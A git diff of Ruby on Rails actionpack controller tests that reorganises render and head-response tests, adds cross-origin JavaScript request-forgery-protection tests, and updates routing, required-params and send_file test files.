- assert_no_match %r{<title>}, @response.body
- end
-
- def test_rendering_nothing_on_layout
- get :rendering_nothing_on_layout
- assert_equal " ", @response.body
- end
-
- def test_render_to_string_doesnt_break_assigns
- get :render_to_string_with_assigns
- assert_equal "i'm before the render", assigns(:before)
- assert_equal "i'm after the render", assigns(:after)
- end
-
- def test_bad_render_to_string_still_throws_exception
- assert_raise(ActionView::MissingTemplate) { get :render_to_string_with_exception }
- end
-
- def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
- assert_nothing_raised { get :render_to_string_with_caught_exception }
- assert_equal "i'm before the render", assigns(:before)
- assert_equal "i'm after the render", assigns(:after)
- end
-
- def test_accessing_params_in_template_with_layout
- get :accessing_params_in_template_with_layout, :name => "David"
- assert_equal "<html>Hello: David</html>", @response.body
- end
-
- def test_render_with_explicit_template
- get :render_with_explicit_template
- assert_response :success
- end
-
- def test_render_with_explicit_unescaped_template
- assert_raise(ActionView::MissingTemplate) { get :render_with_explicit_unescaped_template }
- get :render_with_explicit_escaped_template
- assert_equal "Hello w*rld!", @response.body
- end
-
- def test_render_with_explicit_string_template
- get :render_with_explicit_string_template
- assert_equal "<html>Hello world!</html>", @response.body
- end
-
- def test_render_with_filters
- get :render_with_filters
- assert_equal "<test>passed formatted xml erb</test>", @response.body
- end
-
- # :ported:
- def test_double_render
- assert_raise(AbstractController::DoubleRenderError) { get :double_render }
- end
-
- def test_double_redirect
- assert_raise(AbstractController::DoubleRenderError) { get :double_redirect }
- end
-
- def test_render_and_redirect
- assert_raise(AbstractController::DoubleRenderError) { get :render_and_redirect }
- end
-
- # specify the one exception to double render rule - render_to_string followed by render
- def test_render_to_string_and_render
- get :render_to_string_and_render
- assert_equal("Hi web users! here is some cached stuff", @response.body)
- end
-
- def test_rendering_with_conflicting_local_vars
- get :rendering_with_conflicting_local_vars
- assert_equal("First: David\nSecond: Stephan\nThird: David\nFourth: David\nFifth: ", @response.body)
- end
-
- def test_action_talk_to_layout
- get :action_talk_to_layout
- assert_equal "<title>Talking to the layout</title>\nAction was here!", @response.body
- end
-
- # :addressed:
- def test_render_text_with_assigns
- get :render_text_with_assigns
- assert_equal "world", assigns["hello"]
- end
-
- # :ported:
- def test_template_with_locals
- get :render_with_explicit_template_with_locals
- assert_equal "The secret is area51\n", @response.body
- end
-
- def test_yield_content_for
- get :yield_content_for
- assert_equal "<title>Putting stuff in the title!</title>\nGreat stuff!\n", @response.body
- end
-
- def test_overwritting_rendering_relative_file_with_extension
- get :hello_world_from_rxml_using_template
- assert_equal "<html>\n <p>Hello</p>\n</html>\n", @response.body
-
- get :hello_world_from_rxml_using_action
- assert_equal "<html>\n <p>Hello</p>\n</html>\n", @response.body
- end
-
- def test_head_created
- post :head_created
- assert @response.body.blank?
- assert_response :created
- end
-
- def test_head_created_with_application_json_content_type
- post :head_created_with_application_json_content_type
- assert @response.body.blank?
- assert_equal "application/json", @response.header["Content-Type"]
- assert_response :created
- end
-
- def test_head_ok_with_image_png_content_type
- post :head_ok_with_image_png_content_type
- assert @response.body.blank?
- assert_equal "image/png", @response.header["Content-Type"]
- assert_response :ok
- end
-
- def test_head_with_location_header
- get :head_with_location_header
- assert @response.body.blank?
- assert_equal "/foo", @response.headers["Location"]
- assert_response :ok
- end
-
- def test_head_with_location_object
- with_routing do |set|
- set.draw do
- resources :customers
- get ':controller/:action'
- end
-
- get :head_with_location_object
- assert @response.body.blank?
- assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
- assert_response :ok
- end
- end
-
- def test_head_with_custom_header
- get :head_with_custom_header
- assert @response.body.blank?
- assert_equal "something", @response.headers["X-Custom-Header"]
- assert_response :ok
- end
-
- def test_head_with_www_authenticate_header
- get :head_with_www_authenticate_header
- assert @response.body.blank?
- assert_equal "something", @response.headers["WWW-Authenticate"]
- assert_response :ok
- end
-
- def test_head_with_symbolic_status
- get :head_with_symbolic_status, :status => "ok"
- assert_equal 200, @response.status
- assert_response :ok
-
- get :head_with_symbolic_status, :status => "not_found"
- assert_equal 404, @response.status
- assert_response :not_found
-
- get :head_with_symbolic_status, :status => "no_content"
- assert_equal 204, @response.status
- assert !@response.headers.include?('Content-Length')
- assert_response :no_content
-
- Rack::Utils::SYMBOL_TO_STATUS_CODE.each do |status, code|
- get :head_with_symbolic_status, :status => status.to_s
- assert_equal code, @response.response_code
- assert_response status
- end
- end
-
- def test_head_with_integer_status
- Rack::Utils::HTTP_STATUS_CODES.each do |code, message|
- get :head_with_integer_status, :status => code.to_s
- assert_equal message, @response.message
- end
- end
-
- def test_head_with_string_status
- get :head_with_string_status, :status => "404 Eat Dirt"
- assert_equal 404, @response.response_code
- assert_equal "Not Found", @response.message
- assert_response :not_found
- end
-
- def test_head_with_status_code_first
- get :head_with_status_code_first
- assert_equal 403, @response.response_code
- assert_equal "Forbidden", @response.message
- assert_equal "something", @response.headers["X-Custom-Header"]
- assert_response :forbidden
- end
-
- def test_using_layout_around_block
- get :render_using_layout_around_block
- assert_equal "Before (David)\nInside from block\nAfter", @response.body
- end
-
- def test_using_layout_around_block_in_main_layout_and_within_content_for_layout
- get :render_using_layout_around_block_in_main_layout_and_within_content_for_layout
- assert_equal "Before (Anthony)\nInside from first block in layout\nAfter\nBefore (David)\nInside from block\nAfter\nBefore (Ramm)\nInside from second block in layout\nAfter\n", @response.body
- end
-
- def test_partial_only
- get :partial_only
- assert_equal "only partial", @response.body
- assert_equal "text/html", @response.content_type
- end
-
- def test_should_render_html_formatted_partial
- get :partial
- assert_equal "partial html", @response.body
- assert_equal "text/html", @response.content_type
- end
-
- def test_render_html_formatted_partial_even_with_other_mime_time_in_accept
- @request.accept = "text/javascript, text/html"
-
- get :partial_html_erb
-
- assert_equal "partial.html.erb", @response.body.strip
- assert_equal "text/html", @response.content_type
- end
-
- def test_should_render_html_partial_with_formats
- get :partial_formats_html
- assert_equal "partial html", @response.body
- assert_equal "text/html", @response.content_type
- end
-
- def test_render_to_string_partial
- get :render_to_string_with_partial
- assert_equal "only partial", assigns(:partial_only)
- assert_equal "Hello: david", assigns(:partial_with_locals)
- assert_equal "text/html", @response.content_type
- end
-
- def test_render_to_string_with_template_and_html_partial
- get :render_to_string_with_template_and_html_partial
- assert_equal "**only partial**\n", assigns(:text)
- assert_equal "<strong>only partial</strong>\n", assigns(:html)
- assert_equal "<strong>only html partial</strong>\n", @response.body
- assert_equal "text/html", @response.content_type
- end
-
- def test_render_to_string_and_render_with_different_formats
- get :render_to_string_and_render_with_different_formats
- assert_equal "<strong>only partial</strong>\n", assigns(:html)
- assert_equal "**only partial**\n", @response.body
- assert_equal "text/plain", @response.content_type
- end
-
- def test_render_template_within_a_template_with_other_format
- get :render_template_within_a_template_with_other_format
- expected = "only html partial<p>This is grand!</p>"
- assert_equal expected, @response.body.strip
- assert_equal "text/html", @response.content_type
- end
-
- def test_partial_with_counter
- get :partial_with_counter
- assert_equal "5", @response.body
- end
-
- def test_partial_with_locals
- get :partial_with_locals
- assert_equal "Hello: david", @response.body
- end
-
- def test_partial_with_form_builder
- get :partial_with_form_builder
- assert_match(/<label/, @response.body)
- assert_template('test/_form')
- end
-
- def test_partial_with_form_builder_subclass
- get :partial_with_form_builder_subclass
- assert_match(/<label/, @response.body)
- assert_template('test/_labelling_form')
- end
-
- def test_nested_partial_with_form_builder
- @controller = Fun::GamesController.new
- get :nested_partial_with_form_builder
- assert_match(/<label/, @response.body)
- assert_template('fun/games/_form')
- end
-
- def test_namespaced_object_partial
- @controller = Quiz::QuestionsController.new
- get :new
- assert_equal "Namespaced Partial", @response.body
- end
-
- def test_partial_collection
- get :partial_collection
- assert_equal "Hello: davidHello: mary", @response.body
- end
-
- def test_partial_collection_with_as
- get :partial_collection_with_as
- assert_equal "david david davidmary mary mary", @response.body
- end
-
- def test_partial_collection_with_counter
- get :partial_collection_with_counter
- assert_equal "david0mary1", @response.body
- end
-
- def test_partial_collection_with_as_and_counter
- get :partial_collection_with_as_and_counter
- assert_equal "david0mary1", @response.body
- end
-
- def test_partial_collection_with_locals
- get :partial_collection_with_locals
- assert_equal "Bonjour: davidBonjour: mary", @response.body
- end
-
- def test_locals_option_to_assert_template_is_not_supported
- get :partial_collection_with_locals
-
- warning_buffer = StringIO.new
- $stderr = warning_buffer
-
- assert_template partial: 'customer_greeting', locals: { greeting: 'Bonjour' }
- assert_equal "the :locals option to #assert_template is only supported in a ActionView::TestCase\n", warning_buffer.string
- ensure
- $stderr = STDERR
- end
-
- def test_partial_collection_with_spacer
- get :partial_collection_with_spacer
- assert_equal "Hello: davidonly partialHello: mary", @response.body
- assert_template :partial => '_customer'
- end
-
- def test_partial_collection_with_spacer_which_uses_render
- get :partial_collection_with_spacer_which_uses_render
- assert_equal "Hello: davidpartial html\npartial with partial\nHello: mary", @response.body
- assert_template :partial => '_customer'
- end
-
- def test_partial_collection_shorthand_with_locals
- get :partial_collection_shorthand_with_locals
- assert_equal "Bonjour: davidBonjour: mary", @response.body
- assert_template :partial => 'customers/_customer', :count => 2
- assert_template :partial => '_completely_fake_and_made_up_template_that_cannot_possibly_be_rendered', :count => 0
- end
-
- def test_partial_collection_shorthand_with_different_types_of_records
- get :partial_collection_shorthand_with_different_types_of_records
- assert_equal "Bonjour bad customer: mark0Bonjour good customer: craig1Bonjour bad customer: john2Bonjour good customer: zach3Bonjour good customer: brandon4Bonjour bad customer: dan5", @response.body
- assert_template :partial => 'good_customers/_good_customer', :count => 3
- assert_template :partial => 'bad_customers/_bad_customer', :count => 3
- end
-
- def test_empty_partial_collection
- get :empty_partial_collection
- assert_equal " ", @response.body
- assert_template :partial => false
- end
-
- def test_partial_with_hash_object
- get :partial_with_hash_object
- assert_equal "Sam\nmaS\n", @response.body
- end
-
- def test_partial_with_nested_object
- get :partial_with_nested_object
- assert_equal "first", @response.body
- end
-
- def test_partial_with_nested_object_shorthand
- get :partial_with_nested_object_shorthand
- assert_equal "first", @response.body
- end
-
- def test_hash_partial_collection
- get :partial_hash_collection
- assert_equal "Pratik\nkitarP\nAmy\nymA\n", @response.body
- end
-
- def test_partial_hash_collection_with_locals
- get :partial_hash_collection_with_locals
- assert_equal "Hola: PratikHola: Amy", @response.body
- end
-
- def test_render_missing_partial_template
- assert_raise(ActionView::MissingTemplate) do
- get :missing_partial
- end
- end
-
- def test_render_call_to_partial_with_layout
- get :render_call_to_partial_with_layout
- assert_equal "Before (David)\nInside from partial (David)\nAfter", @response.body
- end
-
- def test_render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
- get :render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
- assert_equal "Before (Anthony)\nInside from partial (Anthony)\nAfter\nBefore (David)\nInside from partial (David)\nAfter\nBefore (Ramm)\nInside from partial (Ramm)\nAfter", @response.body
- end
-end
-
class ExpiresInRenderTest < ActionController::TestCase
tests TestController
- def setup
- @request.host = "www.nextangle.com"
- end
-
def test_expires_in_header
get :conditional_hello_with_expires_in
assert_equal "max-age=60, private", @response.headers["Cache-Control"]
@@ -1598,7 +305,6 @@ class LastModifiedRenderTest < ActionController::TestCase
def setup
super
- @request.host = "www.nextangle.com"
@last_modified = Time.now.utc.beginning_of_day.httpdate
end
@@ -1683,7 +389,6 @@ class EtagRenderTest < ActionController::TestCase
def setup
super
- @request.host = "www.nextangle.com"
end
def test_multiple_etags
@@ -1711,7 +416,6 @@ class EtagRenderTest < ActionController::TestCase
end
end
-
class MetalRenderTest < ActionController::TestCase
tests MetalTestController
@@ -1720,3 +424,109 @@ class MetalRenderTest < ActionController::TestCase
assert_equal "NilClass", @response.body
end
end
+
+class HeadRenderTest < ActionController::TestCase
+ tests TestController
+
+ def setup
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_head_created
+ post :head_created
+ assert @response.body.blank?
+ assert_response :created
+ end
+
+ def test_head_created_with_application_json_content_type
+ post :head_created_with_application_json_content_type
+ assert @response.body.blank?
+ assert_equal "application/json", @response.header["Content-Type"]
+ assert_response :created
+ end
+
+ def test_head_ok_with_image_png_content_type
+ post :head_ok_with_image_png_content_type
+ assert @response.body.blank?
+ assert_equal "image/png", @response.header["Content-Type"]
+ assert_response :ok
+ end
+
+ def test_head_with_location_header
+ get :head_with_location_header
+ assert @response.body.blank?
+ assert_equal "/foo", @response.headers["Location"]
+ assert_response :ok
+ end
+
+ def test_head_with_location_object
+ with_routing do |set|
+ set.draw do
+ resources :customers
+ get ':controller/:action'
+ end
+
+ get :head_with_location_object
+ assert @response.body.blank?
+ assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
+ assert_response :ok
+ end
+ end
+
+ def test_head_with_custom_header
+ get :head_with_custom_header
+ assert @response.body.blank?
+ assert_equal "something", @response.headers["X-Custom-Header"]
+ assert_response :ok
+ end
+
+ def test_head_with_www_authenticate_header
+ get :head_with_www_authenticate_header
+ assert @response.body.blank?
+ assert_equal "something", @response.headers["WWW-Authenticate"]
+ assert_response :ok
+ end
+
+ def test_head_with_symbolic_status
+ get :head_with_symbolic_status, :status => "ok"
+ assert_equal 200, @response.status
+ assert_response :ok
+
+ get :head_with_symbolic_status, :status => "not_found"
+ assert_equal 404, @response.status
+ assert_response :not_found
+
+ get :head_with_symbolic_status, :status => "no_content"
+ assert_equal 204, @response.status
+ assert !@response.headers.include?('Content-Length')
+ assert_response :no_content
+
+ Rack::Utils::SYMBOL_TO_STATUS_CODE.each do |status, code|
+ get :head_with_symbolic_status, :status => status.to_s
+ assert_equal code, @response.response_code
+ assert_response status
+ end
+ end
+
+ def test_head_with_integer_status
+ Rack::Utils::HTTP_STATUS_CODES.each do |code, message|
+ get :head_with_integer_status, :status => code.to_s
+ assert_equal message, @response.message
+ end
+ end
+
+ def test_head_with_string_status
+ get :head_with_string_status, :status => "404 Eat Dirt"
+ assert_equal 404, @response.response_code
+ assert_equal "Not Found", @response.message
+ assert_response :not_found
+ end
+
+ def test_head_with_status_code_first
+ get :head_with_status_code_first
+ assert_equal 403, @response.response_code
+ assert_equal "Forbidden", @response.message
+ assert_equal "something", @response.headers["X-Custom-Header"]
+ assert_response :forbidden
+ end
+end
diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb
index c272e785c2..5ab5141966 100644
--- a/actionpack/test/controller/request_forgery_protection_test.rb
+++ b/actionpack/test/controller/request_forgery_protection_test.rb
@@ -52,18 +52,36 @@ module RequestForgeryProtectionActions
render :inline => "<%= form_for(:some_resource, :remote => true, :authenticity_token => 'external_token') {} %>"
end
+ def same_origin_js
+ render js: 'foo();'
+ end
+
+ def negotiate_same_origin
+ respond_to do |format|
+ format.js { same_origin_js }
+ end
+ end
+
+ def cross_origin_js
+ same_origin_js
+ end
+
+ def negotiate_cross_origin
+ negotiate_same_origin
+ end
+
def rescue_action(e) raise e end
end
# sample controllers
class RequestForgeryProtectionControllerUsingResetSession < ActionController::Base
include RequestForgeryProtectionActions
- protect_from_forgery :only => %w(index meta), :with => :reset_session
+ protect_from_forgery :only => %w(index meta same_origin_js negotiate_same_origin), :with => :reset_session
end
class RequestForgeryProtectionControllerUsingException < ActionController::Base
include RequestForgeryProtectionActions
- protect_from_forgery :only => %w(index meta), :with => :exception
+ protect_from_forgery :only => %w(index meta same_origin_js negotiate_same_origin), :with => :exception
end
class RequestForgeryProtectionControllerUsingNullSession < ActionController::Base
@@ -78,6 +96,11 @@ class RequestForgeryProtectionControllerUsingNullSession < ActionController::Bas
cookies.encrypted[:foo] = 'bar'
render :nothing => true
end
+
+ def try_to_reset_session
+ reset_session
+ render :nothing => true
+ end
end
class FreeCookieController < RequestForgeryProtectionControllerUsingResetSession
@@ -115,14 +138,14 @@ module RequestForgeryProtectionTests
assert_not_blocked do
get :index
end
- assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+ assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token
end
def test_should_render_button_to_with_token_tag
assert_not_blocked do
get :show_button
end
- assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+ assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token
end
def test_should_render_form_without_token_tag_if_remote
@@ -152,7 +175,7 @@ module RequestForgeryProtectionTests
assert_not_blocked do
get :form_for_remote_with_external_token
end
- assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
+ assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
ensure
ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
end
@@ -162,21 +185,21 @@ module RequestForgeryProtectionTests
assert_not_blocked do
get :form_for_remote_with_external_token
end
- assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
+ assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', 'external_token'
end
def test_should_render_form_with_token_tag_if_remote_and_authenticity_token_requested
assert_not_blocked do
get :form_for_remote_with_token
end
- assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+ assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token
end
def test_should_render_form_with_token_tag_with_authenticity_token_requested
assert_not_blocked do
get :form_for_with_token
end
- assert_select 'form>div>input[name=?][value=?]', 'custom_authenticity_token', @token
+ assert_select 'form>input[name=?][value=?]', 'custom_authenticity_token', @token
end
def test_should_allow_get
@@ -196,7 +219,7 @@ module RequestForgeryProtectionTests
end
def test_should_not_allow_post_without_token_irrespective_of_format
- assert_blocked { post :index, :format=>'xml' }
+ assert_blocked { post :index, format: 'xml' }
end
def test_should_not_allow_patch_without_token
@@ -266,6 +289,64 @@ module RequestForgeryProtectionTests
end
end
+ def test_should_not_warn_if_csrf_logging_disabled
+ old_logger = ActionController::Base.logger
+ logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+ ActionController::Base.logger = logger
+ ActionController::Base.log_warning_on_csrf_failure = false
+
+ begin
+ assert_blocked { post :index }
+
+ assert_equal 0, logger.logged(:warn).size
+ ensure
+ ActionController::Base.logger = old_logger
+ ActionController::Base.log_warning_on_csrf_failure = true
+ end
+ end
+
+ def test_should_only_allow_same_origin_js_get_with_xhr_header
+ assert_cross_origin_blocked { get :same_origin_js }
+ assert_cross_origin_blocked { get :same_origin_js, format: 'js' }
+ assert_cross_origin_blocked do
+ @request.accept = 'text/javascript'
+ get :negotiate_same_origin
+ end
+
+ assert_cross_origin_not_blocked { xhr :get, :same_origin_js }
+ assert_cross_origin_not_blocked { xhr :get, :same_origin_js, format: 'js' }
+ assert_cross_origin_not_blocked do
+ @request.accept = 'text/javascript'
+ xhr :get, :negotiate_same_origin
+ end
+ end
+
+ # Allow non-GET requests since GET is all a remote <script> tag can muster.
+ def test_should_allow_non_get_js_without_xhr_header
+ assert_cross_origin_not_blocked { post :same_origin_js, custom_authenticity_token: @token }
+ assert_cross_origin_not_blocked { post :same_origin_js, format: 'js', custom_authenticity_token: @token }
+ assert_cross_origin_not_blocked do
+ @request.accept = 'text/javascript'
+ post :negotiate_same_origin, custom_authenticity_token: @token
+ end
+ end
+
+ def test_should_only_allow_cross_origin_js_get_without_xhr_header_if_protection_disabled
+ assert_cross_origin_not_blocked { get :cross_origin_js }
+ assert_cross_origin_not_blocked { get :cross_origin_js, format: 'js' }
+ assert_cross_origin_not_blocked do
+ @request.accept = 'text/javascript'
+ get :negotiate_cross_origin
+ end
+
+ assert_cross_origin_not_blocked { xhr :get, :cross_origin_js }
+ assert_cross_origin_not_blocked { xhr :get, :cross_origin_js, format: 'js' }
+ assert_cross_origin_not_blocked do
+ @request.accept = 'text/javascript'
+ xhr :get, :negotiate_cross_origin
+ end
+ end
+
def assert_blocked
session[:something_like_user_id] = 1
yield
@@ -277,6 +358,16 @@ module RequestForgeryProtectionTests
assert_nothing_raised { yield }
assert_response :success
end
+
+ def assert_cross_origin_blocked
+ assert_raises(ActionController::InvalidCrossOriginRequest) do
+ yield
+ end
+ end
+
+ def assert_cross_origin_not_blocked
+ assert_not_blocked { yield }
+ end
end
# OK let's get our test on
@@ -300,13 +391,13 @@ class RequestForgeryProtectionControllerUsingResetSessionTest < ActionController
end
end
-class NullSessionDummyKeyGenerator
- def generate_key(secret)
- '03312270731a2ed0d11ed091c2338a06'
+class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController::TestCase
+ class NullSessionDummyKeyGenerator
+ def generate_key(secret)
+ '03312270731a2ed0d11ed091c2338a06'
+ end
end
-end
-class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController::TestCase
def setup
@request.env[ActionDispatch::Cookies::GENERATOR_KEY] = NullSessionDummyKeyGenerator.new
end
@@ -320,6 +411,11 @@ class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController:
post :encrypted
assert_response :ok
end
+
+ test 'should allow reset_session' do
+ post :try_to_reset_session
+ assert_response :ok
+ end
end
class RequestForgeryProtectionControllerUsingExceptionTest < ActionController::TestCase
@@ -365,8 +461,8 @@ end
class CustomAuthenticityParamControllerTest < ActionController::TestCase
def setup
- ActionController::Base.request_forgery_protection_token = :custom_token_name
super
+ ActionController::Base.request_forgery_protection_token = :custom_token_name
end
def teardown
diff --git a/actionpack/test/controller/required_params_test.rb b/actionpack/test/controller/required_params_test.rb
index 343d57c300..25d0337212 100644
--- a/actionpack/test/controller/required_params_test.rb
+++ b/actionpack/test/controller/required_params_test.rb
@@ -25,3 +25,11 @@ class ActionControllerRequiredParamsTest < ActionController::TestCase
assert_response :ok
end
end
+
+class ParametersRequireTest < ActiveSupport::TestCase
+ test "required parameters must be present not merely not nil" do
+ assert_raises(ActionController::ParameterMissing) do
+ ActionController::Parameters.new(person: {}).require(:person)
+ end
+ end
+end
diff --git a/actionpack/test/controller/resources_test.rb b/actionpack/test/controller/resources_test.rb
index 9aea7e860a..a5f43c4b6b 100644
--- a/actionpack/test/controller/resources_test.rb
+++ b/actionpack/test/controller/resources_test.rb
@@ -4,6 +4,7 @@ require 'active_support/core_ext/object/with_options'
require 'active_support/core_ext/array/extract_options'
class ResourcesTest < ActionController::TestCase
+
def test_default_restful_routes
with_restful_routing :messages do
assert_simply_restful_for :messages
@@ -1004,7 +1005,7 @@ class ResourcesTest < ActionController::TestCase
end
end
- assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destory], [], 'products/1/images')
+ assert_resource_allowed_routes('images', { :product_id => '1' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' }, { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
end
end
@@ -1320,6 +1321,8 @@ class ResourcesTest < ActionController::TestCase
assert_recognizes options, path_options
elsif Array(not_allowed).include?(action)
assert_not_recognizes options, path_options
+ else
+ raise Assertion, 'Invalid Action has passed'
end
end
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
index f735564305..df453a0251 100644
--- a/actionpack/test/controller/routing_test.rb
+++ b/actionpack/test/controller/routing_test.rb
@@ -2,6 +2,7 @@
require 'abstract_unit'
require 'controller/fake_controllers'
require 'active_support/core_ext/object/with_options'
+require 'active_support/core_ext/object/json'
class MilestonesController < ActionController::Base
def index() head :ok end
@@ -86,36 +87,36 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
def test_symbols_with_dashes
rs.draw do
get '/:artist/:song-omg', :to => lambda { |env|
- resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ resp = ActiveSupport::JSON.encode env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
[200, {}, [resp]]
}
end
- hash = JSON.load get(URI('http://example.org/journey/faithfully-omg'))
+ hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/faithfully-omg'))
assert_equal({"artist"=>"journey", "song"=>"faithfully"}, hash)
end
def test_id_with_dash
rs.draw do
get '/journey/:id', :to => lambda { |env|
- resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ resp = ActiveSupport::JSON.encode env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
[200, {}, [resp]]
}
end
- hash = JSON.load get(URI('http://example.org/journey/faithfully-omg'))
+ hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/faithfully-omg'))
assert_equal({"id"=>"faithfully-omg"}, hash)
end
def test_dash_with_custom_regexp
rs.draw do
get '/:artist/:song-omg', :constraints => { :song => /\d+/ }, :to => lambda { |env|
- resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ resp = ActiveSupport::JSON.encode env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
[200, {}, [resp]]
}
end
- hash = JSON.load get(URI('http://example.org/journey/123-omg'))
+ hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/123-omg'))
assert_equal({"artist"=>"journey", "song"=>"123"}, hash)
assert_equal 'Not Found', get(URI('http://example.org/journey/faithfully-omg'))
end
@@ -123,24 +124,24 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
def test_pre_dash
rs.draw do
get '/:artist/omg-:song', :to => lambda { |env|
- resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ resp = ActiveSupport::JSON.encode env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
[200, {}, [resp]]
}
end
- hash = JSON.load get(URI('http://example.org/journey/omg-faithfully'))
+ hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/omg-faithfully'))
assert_equal({"artist"=>"journey", "song"=>"faithfully"}, hash)
end
def test_pre_dash_with_custom_regexp
rs.draw do
get '/:artist/omg-:song', :constraints => { :song => /\d+/ }, :to => lambda { |env|
- resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ resp = ActiveSupport::JSON.encode env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
[200, {}, [resp]]
}
end
- hash = JSON.load get(URI('http://example.org/journey/omg-123'))
+ hash = ActiveSupport::JSON.decode get(URI('http://example.org/journey/omg-123'))
assert_equal({"artist"=>"journey", "song"=>"123"}, hash)
assert_equal 'Not Found', get(URI('http://example.org/journey/omg-faithfully'))
end
@@ -160,14 +161,14 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
def test_star_paths_are_greedy_but_not_too_much
rs.draw do
get "/*path", :to => lambda { |env|
- x = JSON.dump env["action_dispatch.request.path_parameters"]
+ x = ActiveSupport::JSON.encode env["action_dispatch.request.path_parameters"]
[200, {}, [x]]
}
end
expected = { "path" => "foo/bar", "format" => "html" }
u = URI('http://example.org/foo/bar.html')
- assert_equal expected, JSON.parse(get(u))
+ assert_equal expected, ActiveSupport::JSON.decode(get(u))
end
def test_optional_star_paths_are_greedy
@@ -185,7 +186,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
def test_optional_star_paths_are_greedy_but_not_too_much
rs.draw do
get "/(*filters)", :to => lambda { |env|
- x = JSON.dump env["action_dispatch.request.path_parameters"]
+ x = ActiveSupport::JSON.encode env["action_dispatch.request.path_parameters"]
[200, {}, [x]]
}
end
@@ -193,7 +194,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
expected = { "filters" => "ne_27.065938,-80.6092/sw_25.489856,-82",
"format" => "542794" }
u = URI('http://example.org/ne_27.065938,-80.6092/sw_25.489856,-82.542794')
- assert_equal expected, JSON.parse(get(u))
+ assert_equal expected, ActiveSupport::JSON.decode(get(u))
end
def test_regexp_precidence
@@ -1832,11 +1833,11 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
assert_equal({:controller => 'foo', :action => 'id_default', :id => 1 }, @routes.recognize_path('/id_default'))
assert_equal({:controller => 'foo', :action => 'get_or_post'}, @routes.recognize_path('/get_or_post', :method => :get))
assert_equal({:controller => 'foo', :action => 'get_or_post'}, @routes.recognize_path('/get_or_post', :method => :post))
- assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/get_or_post', :method => :put) }
- assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/get_or_post', :method => :delete) }
+ assert_raise(ActionController::RoutingError) { @routes.recognize_path('/get_or_post', :method => :put) }
+ assert_raise(ActionController::RoutingError) { @routes.recognize_path('/get_or_post', :method => :delete) }
assert_equal({:controller => 'posts', :action => 'index', :optional => 'bar'}, @routes.recognize_path('/optional/bar'))
- assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/optional') }
+ assert_raise(ActionController::RoutingError) { @routes.recognize_path('/optional') }
assert_equal({:controller => 'posts', :action => 'show', :id => '1', :ws => true}, @routes.recognize_path('/ws/posts/show/1', :method => :get))
assert_equal({:controller => 'posts', :action => 'list', :ws => true}, @routes.recognize_path('/ws/posts/list', :method => :get))
@@ -1904,6 +1905,10 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
assert_equal({:controller => 'news', :action => 'index'}, @routes.recognize_path(URI.parser.escape('こんにちは/世界'), :method => :get))
end
+ def test_downcased_unicode_path
+ assert_equal({:controller => 'news', :action => 'index'}, @routes.recognize_path(URI.parser.escape('こんにちは/世界').downcase, :method => :get))
+ end
+
private
def sort_extras!(extras)
if extras.length == 2
@@ -1911,11 +1916,4 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
end
extras
end
-
- def assert_raise(e)
- result = yield
- flunk "Did not raise #{e}, but returned #{result.inspect}"
- rescue e
- assert true
- end
end
diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb
index 8ecc1c7d73..b0983a5252 100644
--- a/actionpack/test/controller/send_file_test.rb
+++ b/actionpack/test/controller/send_file_test.rb
@@ -25,8 +25,11 @@ class SendFileController < ActionController::Base
end
end
+class SendFileWithActionControllerLive < SendFileController
+ include ActionController::Live
+end
+
